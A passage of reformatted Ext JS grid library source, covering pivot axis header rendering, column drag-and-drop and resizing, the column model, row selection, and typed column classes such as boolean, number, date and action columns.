this.rowHeadersEl.setWidth(a);\n    this.mainBody.applyStyles(b);\n    Ext.fly(this.innerHd).applyStyles(b);\n    this.headerTitleEl.setWidth(a);\n    this.headerTitleEl.setHeight(this.getTotalColumnHeaderHeight())\n}, resizeAllRows:function (b) {\n    var d = this.getRows(), c = d.length, a;\n    for (a = 0; a < c; a++) {\n        Ext.fly(d[a]).setWidth(b);\n        Ext.fly(d[a]).child(\"table\").setWidth(b)\n    }\n}, updateHeaders:function () {\n    this.renderGroupRowHeaders();\n    this.renderGroupColumnHeaders()\n}, renderGroupRowHeaders:function () {\n    var a = this.grid.leftAxis;\n    this.resizeRowHeaders();\n    a.rendered = false;\n    a.render(this.rowHeadersEl);\n    this.setTitle(this.title)\n}, setTitle:function (a) {\n    this.headerTitleEl.child(\"span\").dom.innerHTML = a\n}, renderGroupColumnHeaders:function () {\n    var a = this.grid.topAxis;\n    a.rendered = false;\n    a.render(this.innerHd.firstChild)\n}, isMenuDisabled:function (a, b) {\n    return true\n}});\nExt.grid.PivotAxis = Ext.extend(Ext.Component, {orientation:\"horizontal\", defaultHeaderWidth:80, paddingWidth:7, setDimensions:function (a) {\n    this.dimensions = a\n}, onRender:function (b, a) {\n    var c = this.orientation == \"horizontal\" ? this.renderHorizontalRows() : this.renderVerticalRows();\n    this.el = Ext.DomHelper.overwrite(b.dom, {tag:\"table\", cn:c}, true)\n}, renderHorizontalRows:function () {\n    var k = this.buildHeaders(), a = k.length, g = [], c, h, e, d, b;\n    for (d = 0; d < a; d++) {\n        c = [];\n        h = k[d].items;\n        e = h.length;\n        for (b = 0; b < e; b++) {\n            c.push({tag:\"td\", html:h[b].header, colspan:h[b].span})\n        }\n        g[d] = {tag:\"tr\", cn:c}\n    }\n    return g\n}, renderVerticalRows:function () {\n    var b = this.buildHeaders(), k = b.length, a = [], m = [], h, c, l, g, e, d;\n    for (e = 0; e < k; e++) {\n        c = b[e];\n        g = c.width || 80;\n        h = c.items.length;\n        for (d = 0; d < h; d++) {\n            l = c.items[d];\n            a[l.start] = a[l.start] || [];\n            a[l.start].push({tag:\"td\", html:l.header, rowspan:l.span, width:Ext.isBorderBox ? g : g - this.paddingWidth})\n        }\n    }\n    h = a.length;\n    for (e = 0; e < h; e++) {\n        m[e] = {tag:\"tr\", cn:a[e]}\n    }\n    return m\n}, getTuples:function () {\n    var b = new Ext.data.Store({});\n    b.data = this.store.data.clone();\n    b.fields = this.store.fields;\n    var l = [], a = this.dimensions, c = a.length, j;\n    for (j = 0; j < c; j++) {\n        l.push({field:a[j].dataIndex, direction:a[j].direction || \"ASC\"})\n    }\n    b.sort(l);\n    var e = b.data.items, n = [], k = [], o, h, d, g, m;\n    c = e.length;\n    for (j = 0; j < c; j++) {\n        d = this.getRecordInfo(e[j]);\n        g = d.data;\n        h = \"\";\n        for (m in g) {\n            h += g[m] + \"---\"\n        }\n        if (n.indexOf(h) == -1) {\n            n.push(h);\n            k.push(d)\n        }\n    }\n    b.destroy();\n    return k\n}, getRecordInfo:function (a) {\n    var e = this.dimensions, d = e.length, h = {}, j, c, b;\n    for (b = 0; b < d; b++) {\n        j = e[b];\n        c = j.dataIndex;\n        h[c] = a.get(c)\n    }\n    var g = function (i) {\n        return function (k) {\n            for (var l in i) {\n                if (k.get(l) != i[l]) {\n                    return false\n                }\n            }\n            return true\n        }\n    };\n    return{data:h, matcher:g(h)}\n}, buildHeaders:function () {\n    var l = this.getTuples(), m = l.length, a = this.dimensions, e, r = a.length, c = [], o, s, n, q, p, b, k, h, g, d;\n    for (g = 0; g < r; g++) {\n        e = a[g];\n        s = [];\n        p = 0;\n        b = 0;\n        for (d = 0; d < m; d++) {\n            o = l[d];\n            k = d == (m - 1);\n            n = o.data[e.dataIndex];\n            h = q != undefined && q != n;\n            if (g > 0 && d > 0) {\n                h = h || o.data[a[g - 1].dataIndex] != l[d - 1].data[a[g - 1].dataIndex]\n            }\n            if (h) {\n                s.push({header:q, span:p, start:b});\n                b += p;\n                p = 0\n            }\n            if (k) {\n                s.push({header:n, span:p + 1, start:b});\n                b += p;\n                p = 0\n            }\n            q = n;\n            p++\n        }\n        c.push({items:s, width:e.width || this.defaultHeaderWidth});\n        q = undefined\n    }\n    return c\n}});\nExt.grid.HeaderDragZone = Ext.extend(Ext.dd.DragZone, {maxDragWidth:120, constructor:function (a, c, b) {\n    this.grid = a;\n    this.view = a.getView();\n    this.ddGroup = \"gridHeader\" + this.grid.getGridEl().id;\n    Ext.grid.HeaderDragZone.superclass.constructor.call(this, c);\n    if (b) {\n        this.setHandleElId(Ext.id(c));\n        this.setOuterHandleElId(Ext.id(b))\n    }\n    this.scroll = false\n}, getDragData:function (c) {\n    var a = Ext.lib.Event.getTarget(c), b = this.view.findHeaderCell(a);\n    if (b) {\n        return{ddel:b.firstChild, header:b}\n    }\n    return false\n}, onInitDrag:function (a) {\n    this.dragHeadersDisabled = this.view.headersDisabled;\n    this.view.headersDisabled = true;\n    var b = this.dragData.ddel.cloneNode(true);\n    b.id = Ext.id();\n    b.style.width = Math.min(this.dragData.header.offsetWidth, this.maxDragWidth) + \"px\";\n    this.proxy.update(b);\n    return true\n}, afterValidDrop:function () {\n    this.completeDrop()\n}, afterInvalidDrop:function () {\n    this.completeDrop()\n}, completeDrop:function () {\n    var a = this.view, b = this.dragHeadersDisabled;\n    setTimeout(function () {\n        a.headersDisabled = b\n    }, 50)\n}});\nExt.grid.HeaderDropZone = Ext.extend(Ext.dd.DropZone, {proxyOffsets:[-4, -9], fly:Ext.Element.fly, constructor:function (a, c, b) {\n    this.grid = a;\n    this.view = a.getView();\n    this.proxyTop = Ext.DomHelper.append(document.body, {cls:\"col-move-top\", html:\"&#160;\"}, true);\n    this.proxyBottom = Ext.DomHelper.append(document.body, {cls:\"col-move-bottom\", html:\"&#160;\"}, true);\n    this.proxyTop.hide = this.proxyBottom.hide = function () {\n        this.setLeftTop(-100, -100);\n        this.setStyle(\"visibility\", \"hidden\")\n    };\n    this.ddGroup = \"gridHeader\" + this.grid.getGridEl().id;\n    Ext.grid.HeaderDropZone.superclass.constructor.call(this, a.getGridEl().dom)\n}, getTargetFromEvent:function (c) {\n    var a = Ext.lib.Event.getTarget(c), b = this.view.findCellIndex(a);\n    if (b !== false) {\n        return this.view.getHeaderCell(b)\n    }\n}, nextVisible:function (c) {\n    var b = this.view, a = this.grid.colModel;\n    c = c.nextSibling;\n    while (c) {\n        if (!a.isHidden(b.getCellIndex(c))) {\n            return c\n        }\n        c = c.nextSibling\n    }\n    return null\n}, prevVisible:function (c) {\n    var b = this.view, a = this.grid.colModel;\n    c = c.prevSibling;\n    while (c) {\n        if (!a.isHidden(b.getCellIndex(c))) {\n            return c\n        }\n        c = c.prevSibling\n    }\n    return null\n}, positionIndicator:function (d, k, j) {\n    var a = Ext.lib.Event.getPageX(j), g = Ext.lib.Dom.getRegion(k.firstChild), c, i, b = g.top + this.proxyOffsets[1];\n    if ((g.right - a) <= (g.right - g.left) / 2) {\n        c = g.right + this.view.borderWidth;\n        i = \"after\"\n    } else {\n        c = g.left;\n        i = \"before\"\n    }\n    if (this.grid.colModel.isFixed(this.view.getCellIndex(k))) {\n        return false\n    }\n    c += this.proxyOffsets[0];\n    this.proxyTop.setLeftTop(c, b);\n    this.proxyTop.show();\n    if (!this.bottomOffset) {\n        this.bottomOffset = this.view.mainHd.getHeight()\n    }\n    this.proxyBottom.setLeftTop(c, b + this.proxyTop.dom.offsetHeight + this.bottomOffset);\n    this.proxyBottom.show();\n    return i\n}, onNodeEnter:function (d, a, c, b) {\n    if (b.header != d) {\n        this.positionIndicator(b.header, d, c)\n    }\n}, onNodeOver:function (g, b, d, c) {\n    var a = false;\n    if (c.header != g) {\n        a = this.positionIndicator(c.header, g, d)\n    }\n    if (!a) {\n        this.proxyTop.hide();\n        this.proxyBottom.hide()\n    }\n    return a ? this.dropAllowed : this.dropNotAllowed\n}, onNodeOut:function (d, a, c, b) {\n    this.proxyTop.hide();\n    this.proxyBottom.hide()\n}, onNodeDrop:function (b, m, g, c) {\n    var d = c.header;\n    if (d != b) {\n        var k = this.grid.colModel, j = Ext.lib.Event.getPageX(g), a = Ext.lib.Dom.getRegion(b.firstChild), o = (a.right - j) <= ((a.right - a.left) / 2) ? \"after\" : \"before\", i = this.view.getCellIndex(d), l = this.view.getCellIndex(b);\n        if (o == \"after\") {\n            l++\n        }\n        if (i < l) {\n            l--\n        }\n        k.moveColumn(i, l);\n        return true\n    }\n    return false\n}});\nExt.grid.GridView.ColumnDragZone = Ext.extend(Ext.grid.HeaderDragZone, {constructor:function (a, b) {\n    Ext.grid.GridView.ColumnDragZone.superclass.constructor.call(this, a, b, null);\n    this.proxy.el.addClass(\"x-grid3-col-dd\")\n}, handleMouseDown:function (a) {\n}, callHandleMouseDown:function (a) {\n    Ext.grid.GridView.ColumnDragZone.superclass.handleMouseDown.call(this, a)\n}});\nExt.grid.SplitDragZone = Ext.extend(Ext.dd.DDProxy, {fly:Ext.Element.fly, constructor:function (a, c, b) {\n    this.grid = a;\n    this.view = a.getView();\n    this.proxy = this.view.resizeProxy;\n    Ext.grid.SplitDragZone.superclass.constructor.call(this, c, \"gridSplitters\" + this.grid.getGridEl().id, {dragElId:Ext.id(this.proxy.dom), resizeFrame:false});\n    this.setHandleElId(Ext.id(c));\n    this.setOuterHandleElId(Ext.id(b));\n    this.scroll = false\n}, b4StartDrag:function (a, d) {\n    this.view.headersDisabled = true;\n    this.proxy.setHeight(this.view.mainWrap.getHeight());\n    var b = this.cm.getColumnWidth(this.cellIndex);\n    var c = Math.max(b - this.grid.minColumnWidth, 0);\n    this.resetConstraints();\n    this.setXConstraint(c, 1000);\n    this.setYConstraint(0, 0);\n    this.minX = a - c;\n    this.maxX = a + 1000;\n    this.startPos = a;\n    Ext.dd.DDProxy.prototype.b4StartDrag.call(this, a, d)\n}, handleMouseDown:function (c) {\n    var b = Ext.EventObject.setEvent(c);\n    var a = this.fly(b.getTarget());\n    if (a.hasClass(\"x-grid-split\")) {\n        this.cellIndex = this.view.getCellIndex(a.dom);\n        this.split = a.dom;\n        this.cm = this.grid.colModel;\n        if (this.cm.isResizable(this.cellIndex) && !this.cm.isFixed(this.cellIndex)) {\n            Ext.grid.SplitDragZone.superclass.handleMouseDown.apply(this, arguments)\n        }\n    }\n}, endDrag:function (c) {\n    this.view.headersDisabled = false;\n    var a = Math.max(this.minX, Ext.lib.Event.getPageX(c));\n    var b = a - this.startPos;\n    this.view.onColumnSplitterMoved(this.cellIndex, this.cm.getColumnWidth(this.cellIndex) + b)\n}, autoOffset:function () {\n    this.setDelta(0, 0)\n}});\nExt.grid.GridDragZone = function (b, a) {\n    this.view = b.getView();\n    Ext.grid.GridDragZone.superclass.constructor.call(this, this.view.mainBody.dom, a);\n    this.scroll = false;\n    this.grid = b;\n    this.ddel = document.createElement(\"div\");\n    this.ddel.className = \"x-grid-dd-wrap\"\n};\nExt.extend(Ext.grid.GridDragZone, Ext.dd.DragZone, {ddGroup:\"GridDD\", getDragData:function (b) {\n    var a = Ext.lib.Event.getTarget(b);\n    var d = this.view.findRowIndex(a);\n    if (d !== false) {\n        var c = this.grid.selModel;\n        if (!c.isSelected(d) || b.hasModifier()) {\n            c.handleMouseDown(this.grid, d, b)\n        }\n        return{grid:this.grid, ddel:this.ddel, rowIndex:d, selections:c.getSelections()}\n    }\n    return false\n}, onInitDrag:function (b) {\n    var a = this.dragData;\n    this.ddel.innerHTML = this.grid.getDragDropText();\n    this.proxy.update(this.ddel)\n}, afterRepair:function () {\n    this.dragging = false\n}, getRepairXY:function (b, a) {\n    return false\n}, onEndDrag:function (a, b) {\n}, onValidDrop:function (a, b, c) {\n    this.hideProxy()\n}, beforeInvalidDrop:function (a, b) {\n}});\nExt.grid.ColumnModel = Ext.extend(Ext.util.Observable, {defaultWidth:100, defaultSortable:false, constructor:function (a) {\n    if (a.columns) {\n        Ext.apply(this, a);\n        this.setConfig(a.columns, true)\n    } else {\n        this.setConfig(a, true)\n    }\n    this.addEvents(\"widthchange\", \"headerchange\", \"hiddenchange\", \"columnmoved\", \"configchange\");\n    Ext.grid.ColumnModel.superclass.constructor.call(this)\n}, getColumnId:function (a) {\n    return this.config[a].id\n}, getColumnAt:function (a) {\n    return this.config[a]\n}, setConfig:function (d, b) {\n    var e, h, a;\n    if (!b) {\n        delete this.totalWidth;\n        for (e = 0, a = this.config.length; e < a; e++) {\n            h = this.config[e];\n            if (h.setEditor) {\n                h.setEditor(null)\n            }\n        }\n    }\n    this.defaults = Ext.apply({width:this.defaultWidth, sortable:this.defaultSortable}, this.defaults);\n    this.config = d;\n    this.lookup = {};\n    for (e = 0, a = d.length; e < a; e++) {\n        h = Ext.applyIf(d[e], this.defaults);\n        if (Ext.isEmpty(h.id)) {\n            h.id = e\n        }\n        if (!h.isColumn) {\n            var g = Ext.grid.Column.types[h.xtype || \"gridcolumn\"];\n            h = new g(h);\n            d[e] = h\n        }\n        this.lookup[h.id] = h\n    }\n    if (!b) {\n        this.fireEvent(\"configchange\", this)\n    }\n}, getColumnById:function (a) {\n    return this.lookup[a]\n}, getIndexById:function (c) {\n    for (var b = 0, a = this.config.length; b < a; b++) {\n        if (this.config[b].id == c) {\n            return b\n        }\n    }\n    return -1\n}, moveColumn:function (e, b) {\n    var a = this.config, d = a[e];\n    a.splice(e, 1);\n    a.splice(b, 0, d);\n    this.dataMap = null;\n    this.fireEvent(\"columnmoved\", this, e, b)\n}, getColumnCount:function (b) {\n    var d = this.config.length, e = 0, a;\n    if (b === true) {\n        for (a = 0; a < d; a++) {\n            if (!this.isHidden(a)) {\n                e++\n            }\n        }\n        return e\n    }\n    return d\n}, getColumnsBy:function (g, e) {\n    var b = this.config, h = b.length, a = [], d, j;\n    for (d = 0; d < h; d++) {\n        j = b[d];\n        if (g.call(e || this, j, d) === true) {\n            a[a.length] = j\n        }\n    }\n    return a\n}, isSortable:function (a) {\n    return !!this.config[a].sortable\n}, isMenuDisabled:function (a) {\n    return !!this.config[a].menuDisabled\n}, getRenderer:function (a) {\n    return this.config[a].renderer || Ext.grid.ColumnModel.defaultRenderer\n}, getRendererScope:function (a) {\n    return this.config[a].scope\n}, setRenderer:function (a, b) {\n    this.config[a].renderer = b\n}, getColumnWidth:function (a) {\n    var b = this.config[a].width;\n    if (typeof b != \"number\") {\n        b = this.defaultWidth\n    }\n    return b\n}, setColumnWidth:function (b, c, a) {\n    this.config[b].width = c;\n    this.totalWidth = null;\n    if (!a) {\n        this.fireEvent(\"widthchange\", this, b, c)\n    }\n}, getTotalWidth:function (b) {\n    if (!this.totalWidth) {\n        this.totalWidth = 0;\n        for (var c = 0, a = this.config.length; c < a; c++) {\n            if (b || !this.isHidden(c)) {\n                this.totalWidth += this.getColumnWidth(c)\n            }\n        }\n    }\n    return this.totalWidth\n}, getColumnHeader:function (a) {\n    return this.config[a].header\n}, setColumnHeader:function (a, b) {\n    this.config[a].header = b;\n    this.fireEvent(\"headerchange\", this, a, b)\n}, getColumnTooltip:function (a) {\n    return this.config[a].tooltip\n}, setColumnTooltip:function (a, b) {\n    this.config[a].tooltip = b\n}, getDataIndex:function (a) {\n    return this.config[a].dataIndex\n}, setDataIndex:function (a, b) {\n    this.config[a].dataIndex = b\n}, findColumnIndex:function (d) {\n    var e = this.config;\n    for (var b = 0, a = e.length; b < a; b++) {\n        if (e[b].dataIndex == d) {\n            return b\n        }\n    }\n    return -1\n}, isCellEditable:function (b, e) {\n    var d = this.config[b], a = d.editable;\n    return !!(a || (!Ext.isDefined(a) && d.editor))\n}, getCellEditor:function (a, b) {\n    return this.config[a].getCellEditor(b)\n}, setEditable:function (a, b) {\n    this.config[a].editable = b\n}, isHidden:function (a) {\n    return !!this.config[a].hidden\n}, isFixed:function (a) {\n    return !!this.config[a].fixed\n}, isResizable:function (a) {\n    return a >= 0 && this.config[a].resizable !== false && this.config[a].fixed !== true\n}, setHidden:function (a, b) {\n    var d = this.config[a];\n    if (d.hidden !== b) {\n        d.hidden = b;\n        this.totalWidth = null;\n        this.fireEvent(\"hiddenchange\", this, a, b)\n    }\n}, setEditor:function (a, b) {\n    this.config[a].setEditor(b)\n}, destroy:function () {\n    var b = this.config.length, a = 0;\n    for (; a < b; a++) {\n        this.config[a].destroy()\n    }\n    delete this.config;\n    delete this.lookup;\n    this.purgeListeners()\n}, setState:function (a, b) {\n    b = Ext.applyIf(b, this.defaults);\n    Ext.apply(this.config[a], b)\n}});\nExt.grid.ColumnModel.defaultRenderer = function (a) {\n    if (typeof a == \"string\" && a.length < 1) {\n        return\"&#160;\"\n    }\n    return a\n};\nExt.grid.AbstractSelectionModel = Ext.extend(Ext.util.Observable, {constructor:function () {\n    this.locked = false;\n    Ext.grid.AbstractSelectionModel.superclass.constructor.call(this)\n}, init:function (a) {\n    this.grid = a;\n    if (this.lockOnInit) {\n        delete this.lockOnInit;\n        this.locked = false;\n        this.lock()\n    }\n    this.initEvents()\n}, lock:function () {\n    if (!this.locked) {\n        this.locked = true;\n        var a = this.grid;\n        if (a) {\n            a.getView().on({scope:this, beforerefresh:this.sortUnLock, refresh:this.sortLock})\n        } else {\n            this.lockOnInit = true\n        }\n    }\n}, sortLock:function () {\n    this.locked = true\n}, sortUnLock:function () {\n    this.locked = false\n}, unlock:function () {\n    if (this.locked) {\n        this.locked = false;\n        var a = this.grid, b;\n        if (a) {\n            b = a.getView();\n            b.un(\"beforerefresh\", this.sortUnLock, this);\n            b.un(\"refresh\", this.sortLock, this)\n        } else {\n            delete this.lockOnInit\n        }\n    }\n}, isLocked:function () {\n    return this.locked\n}, destroy:function () {\n    this.unlock();\n    this.purgeListeners()\n}});\nExt.grid.RowSelectionModel = Ext.extend(Ext.grid.AbstractSelectionModel, {singleSelect:false, constructor:function (a) {\n    Ext.apply(this, a);\n    this.selections = new Ext.util.MixedCollection(false, function (b) {\n        return b.id\n    });\n    this.last = false;\n    this.lastActive = false;\n    this.addEvents(\"selectionchange\", \"beforerowselect\", \"rowselect\", \"rowdeselect\");\n    Ext.grid.RowSelectionModel.superclass.constructor.call(this)\n}, initEvents:function () {\n    if (!this.grid.enableDragDrop && !this.grid.enableDrag) {\n        this.grid.on(\"rowmousedown\", this.handleMouseDown, this)\n    }\n    this.rowNav = new Ext.KeyNav(this.grid.getGridEl(), {up:this.onKeyPress, down:this.onKeyPress, scope:this});\n    this.grid.getView().on({scope:this, refresh:this.onRefresh, rowupdated:this.onRowUpdated, rowremoved:this.onRemove})\n}, onKeyPress:function (g, b) {\n    var a = b == \"up\", h = a ? \"selectPrevious\" : \"selectNext\", d = a ? -1 : 1, c;\n    if (!g.shiftKey || this.singleSelect) {\n        this[h](false)\n    } else {\n        if (this.last !== false && this.lastActive !== false) {\n            c = this.last;\n            this.selectRange(this.last, this.lastActive + d);\n            this.grid.getView().focusRow(this.lastActive);\n            if (c !== false) {\n                this.last = c\n            }\n        } else {\n            this.selectFirstRow()\n        }\n    }\n}, onRefresh:function () {\n    var g = this.grid.store, d = this.getSelections(), c = 0, a = d.length, b, e;\n    this.silent = true;\n    this.clearSelections(true);\n    for (; c < a; c++) {\n        e = d[c];\n        if ((b = g.indexOfId(e.id)) != -1) {\n            this.selectRow(b, true)\n        }\n    }\n    if (d.length != this.selections.getCount()) {\n        this.fireEvent(\"selectionchange\", this)\n    }\n    this.silent = false\n}, onRemove:function (a, b, c) {\n    if (this.selections.remove(c) !== false) {\n        this.fireEvent(\"selectionchange\", this)\n    }\n}, onRowUpdated:function (a, b, c) {\n    if (this.isSelected(c)) {\n        a.onRowSelect(b)\n    }\n}, selectRecords:function (b, e) {\n    if (!e) {\n        this.clearSelections()\n    }\n    var d = this.grid.store, c = 0, a = b.length;\n    for (; c < a; c++) {\n        this.selectRow(d.indexOf(b[c]), true)\n    }\n}, getCount:function () {\n    return this.selections.length\n}, selectFirstRow:function () {\n    this.selectRow(0)\n}, selectLastRow:function (a) {\n    this.selectRow(this.grid.store.getCount() - 1, a)\n}, selectNext:function (a) {\n    if (this.hasNext()) {\n        this.selectRow(this.last + 1, a);\n        this.grid.getView().focusRow(this.last);\n        return true\n    }\n    return false\n}, selectPrevious:function (a) {\n    if (this.hasPrevious()) {\n        this.selectRow(this.last - 1, a);\n        this.grid.getView().focusRow(this.last);\n        return true\n    }\n    return false\n}, hasNext:function () {\n    return this.last !== false && (this.last + 1) < this.grid.store.getCount()\n}, hasPrevious:function () {\n    return !!this.last\n}, getSelections:function () {\n    return[].concat(this.selections.items)\n}, getSelected:function () {\n    return this.selections.itemAt(0)\n}, each:function (e, d) {\n    var c = this.getSelections(), b = 0, a = c.length;\n    for (; b < a; b++) {\n        if (e.call(d || this, c[b], b) === false) {\n            return false\n        }\n    }\n    return true\n}, clearSelections:function (a) {\n    if (this.isLocked()) {\n        return\n    }\n    if (a !== true) {\n        var c = this.grid.store, b = this.selections;\n        b.each(function (d) {\n            this.deselectRow(c.indexOfId(d.id))\n        }, this);\n        b.clear()\n    } else {\n        this.selections.clear()\n    }\n    this.last = false\n}, selectAll:function () {\n    if (this.isLocked()) {\n        return\n    }\n    this.selections.clear();\n    for (var b = 0, a = this.grid.store.getCount(); b < a; b++) {\n        this.selectRow(b, true)\n    }\n}, hasSelection:function () {\n    return this.selections.length > 0\n}, isSelected:function (a) {\n    var b = Ext.isNumber(a) ? this.grid.store.getAt(a) : a;\n    return(b && this.selections.key(b.id) ? true : false)\n}, isIdSelected:function (a) {\n    return(this.selections.key(a) ? true : false)\n}, handleMouseDown:function (d, i, h) {\n    if (h.button !== 0 || this.isLocked()) {\n        return\n    }\n    var a = this.grid.getView();\n    if (h.shiftKey && !this.singleSelect && this.last !== false) {\n        var c = this.last;\n        this.selectRange(c, i, h.ctrlKey);\n        this.last = c;\n        a.focusRow(i)\n    } else {\n        var b = this.isSelected(i);\n        if (h.ctrlKey && b) {\n            this.deselectRow(i)\n        } else {\n            if (!b || this.getCount() > 1) {\n                this.selectRow(i, h.ctrlKey || h.shiftKey);\n                a.focusRow(i)\n            }\n        }\n    }\n}, selectRows:function (c, d) {\n    if (!d) {\n        this.clearSelections()\n    }\n    for (var b = 0, a = c.length; b < a; b++) {\n        this.selectRow(c[b], true)\n    }\n}, selectRange:function (b, a, d) {\n    var c;\n    if (this.isLocked()) {\n        return\n    }\n    if (!d) {\n        this.clearSelections()\n    }\n    if (b <= a) {\n        for (c = b; c <= a; c++) {\n            this.selectRow(c, true)\n        }\n    } else {\n        for (c = b; c >= a; c--) {\n            this.selectRow(c, true)\n        }\n    }\n}, deselectRange:function (c, b, a) {\n    if (this.isLocked()) {\n        return\n    }\n    for (var d = c; d <= b; d++) {\n        this.deselectRow(d, a)\n    }\n}, selectRow:function (b, d, a) {\n    if (this.isLocked() || (b < 0 || b >= this.grid.store.getCount()) || (d && this.isSelected(b))) {\n        return\n    }\n    var c = this.grid.store.getAt(b);\n    if (c && this.fireEvent(\"beforerowselect\", this, b, d, c) !== false) {\n        if (!d || this.singleSelect) {\n            this.clearSelections()\n        }\n        this.selections.add(c);\n        this.last = this.lastActive = b;\n        if (!a) {\n            this.grid.getView().onRowSelect(b)\n        }\n        if (!this.silent) {\n            this.fireEvent(\"rowselect\", this, b, c);\n            this.fireEvent(\"selectionchange\", this)\n        }\n    }\n}, deselectRow:function (b, a) {\n    if (this.isLocked()) {\n        return\n    }\n    if (this.last == b) {\n        this.last = false\n    }\n    if (this.lastActive == b) {\n        this.lastActive = false\n    }\n    var c = this.grid.store.getAt(b);\n    if (c) {\n        this.selections.remove(c);\n        if (!a) {\n            this.grid.getView().onRowDeselect(b)\n        }\n        this.fireEvent(\"rowdeselect\", this, b, c);\n        this.fireEvent(\"selectionchange\", this)\n    }\n}, acceptsNav:function (c, b, a) {\n    return !a.isHidden(b) && a.isCellEditable(b, c)\n}, onEditorKey:function (n, l) {\n    var d = l.getKey(), h, i = this.grid, p = i.lastEdit, j = i.activeEditor, b = l.shiftKey, o, p, a, m;\n    if (d == l.TAB) {\n        l.stopEvent();\n        j.completeEdit();\n        if (b) {\n            h = i.walkCells(j.row, j.col - 1, -1, this.acceptsNav, this)\n        } else {\n            h = i.walkCells(j.row, j.col + 1, 1, this.acceptsNav, this)\n        }\n    } else {\n        if (d == l.ENTER) {\n            if (this.moveEditorOnEnter !== false) {\n                if (b) {\n                    h = i.walkCells(p.row - 1, p.col, -1, this.acceptsNav, this)\n                } else {\n                    h = i.walkCells(p.row + 1, p.col, 1, this.acceptsNav, this)\n                }\n            }\n        }\n    }\n    if (h) {\n        a = h[0];\n        m = h[1];\n        this.onEditorSelect(a, p.row);\n        if (i.isEditor && i.editing) {\n            o = i.activeEditor;\n            if (o && o.field.triggerBlur) {\n                o.field.triggerBlur()\n            }\n        }\n        i.startEditing(a, m)\n    }\n}, onEditorSelect:function (b, a) {\n    if (a != b) {\n        this.selectRow(b)\n    }\n}, destroy:function () {\n    Ext.destroy(this.rowNav);\n    this.rowNav = null;\n    Ext.grid.RowSelectionModel.superclass.destroy.call(this)\n}});\nExt.grid.Column = Ext.extend(Ext.util.Observable, {isColumn:true, constructor:function (b) {\n    Ext.apply(this, b);\n    if (Ext.isString(this.renderer)) {\n        this.renderer = Ext.util.Format[this.renderer]\n    } else {\n        if (Ext.isObject(this.renderer)) {\n            this.scope = this.renderer.scope;\n            this.renderer = this.renderer.fn\n        }\n    }\n    if (!this.scope) {\n        this.scope = this\n    }\n    var a = this.editor;\n    delete this.editor;\n    this.setEditor(a);\n    this.addEvents(\"click\", \"contextmenu\", \"dblclick\", \"mousedown\");\n    Ext.grid.Column.superclass.constructor.call(this)\n}, processEvent:function (b, d, c, g, a) {\n    return this.fireEvent(b, this, c, g, d)\n}, destroy:function () {\n    if (this.setEditor) {\n        this.setEditor(null)\n    }\n    this.purgeListeners()\n}, renderer:function (a) {\n    return a\n}, getEditor:function (a) {\n    return this.editable !== false ? this.editor : null\n}, setEditor:function (b) {\n    var a = this.editor;\n    if (a) {\n        if (a.gridEditor) {\n            a.gridEditor.destroy();\n            delete a.gridEditor\n        } else {\n            a.destroy()\n        }\n    }\n    this.editor = null;\n    if (b) {\n        if (!b.isXType) {\n            b = Ext.create(b, \"textfield\")\n        }\n        this.editor = b\n    }\n}, getCellEditor:function (b) {\n    var a = this.getEditor(b);\n    if (a) {\n        if (!a.startEdit) {\n            if (!a.gridEditor) {\n                a.gridEditor = new Ext.grid.GridEditor(a)\n            }\n            a = a.gridEditor\n        }\n    }\n    return a\n}});\nExt.grid.BooleanColumn = Ext.extend(Ext.grid.Column, {trueText:\"true\", falseText:\"false\", undefinedText:\"&#160;\", constructor:function (a) {\n    Ext.grid.BooleanColumn.superclass.constructor.call(this, a);\n    var c = this.trueText, d = this.falseText, b = this.undefinedText;\n    this.renderer = function (e) {\n        if (e === undefined) {\n            return b\n        }\n        if (!e || e === \"false\") {\n            return d\n        }\n        return c\n    }\n}});\nExt.grid.NumberColumn = Ext.extend(Ext.grid.Column, {format:\"0,000.00\", constructor:function (a) {\n    Ext.grid.NumberColumn.superclass.constructor.call(this, a);\n    this.renderer = Ext.util.Format.numberRenderer(this.format)\n}});\nExt.grid.DateColumn = Ext.extend(Ext.grid.Column, {format:\"m/d/Y\", constructor:function (a) {\n    Ext.grid.DateColumn.superclass.constructor.call(this, a);\n    this.renderer = Ext.util.Format.dateRenderer(this.format)\n}});\nExt.grid.TemplateColumn = Ext.extend(Ext.grid.Column, {constructor:function (a) {\n    Ext.grid.TemplateColumn.superclass.constructor.call(this, a);\n    var b = (!Ext.isPrimitive(this.tpl) && this.tpl.compile) ? this.tpl : new Ext.XTemplate(this.tpl);\n    this.renderer = function (d, e, c) {\n        return b.apply(c.data)\n    };\n    this.tpl = b\n}});\nExt.grid.ActionColumn = Ext.extend(Ext.grid.Column, {header:\"&#160;\", actionIdRe:/x-action-col-(\\d+)/, altText:\"\", constructor:function (b) {\n    var g = this, c = b.items || (g.items = [g]), a = c.length, d, e;\n    Ext.grid.ActionColumn.superclass.constructor.call(g, b);\n    g.renderer = function (h, i) {\n        h = Ext.isFunction(b.renderer) ? b.renderer.apply(this, arguments) || \"\" : \"\";\n        i.css += \" x-action-col-cell\";\n        for (d = 0; d < a; d++) {\n            e = c[d];\n            h += '<img alt=\"' + (e.altText || g.altText) + '\" src=\"' + (e.icon || Ext.BLANK_IMAGE_URL) + '\" class=\"x-action-col-icon x-action-col-' + String(d) + \" \" + (e.iconCls || \"\") + \" \" + (Ext.isFunction(e.getClass) ? e.getClass.apply(e.scope || this.scope || this, arguments) : \"\") + '\"' + ((e.tooltip) ? ' ext:qtip=\"' + e.tooltip + '\"' : \"\") + \" />\"\n        }\n        return h\n    }\n}, destroy:function () {\n    delete this.items;\n    delete this.renderer;\n    return Ext.grid.ActionColumn.superclass.destroy.apply(this, arguments)\n}, processEvent:function (c, i, d, j, b) {\n    var a = i.getTarget().className.match(this.actionIdRe), h, g;\n    if (a && (h = this.items[parseInt(a[1], 10)])) {\n        if (c == \"click\") {\n            (g = h.handler || this.handler) && g.call(h.scope || this.scope || this, d, j, b, h, i)\n        } else {\n            if ((c == \"mousedown\") && (h.stopSelection !== false)) {\n                return false\n            }\n        }\n    }\n    return Ext.grid.ActionColumn.superclass.processEvent.apply(this, arguments)\n}});\nExt.grid.Column.types = {gridcolumn:Ext.grid.Column, booleancolumn:Ext.grid.BooleanColumn, numbercolumn:Ext.grid.NumberColumn, datecolumn:Ext.grid.DateColumn, templatecolumn:Ext.grid.TemplateColumn, actioncolumn:Ext.grid.ActionColumn};\nExt.grid.RowNumberer = Ext.extend(Object, {header:\"\", width:23, sortable:false, constructor:function (a) {\n    Ext.apply(this, a);\n    if (this.rowspan) {\n        this.renderer = this.renderer.createDelegate(this)\n    }\n}, fixed:true, 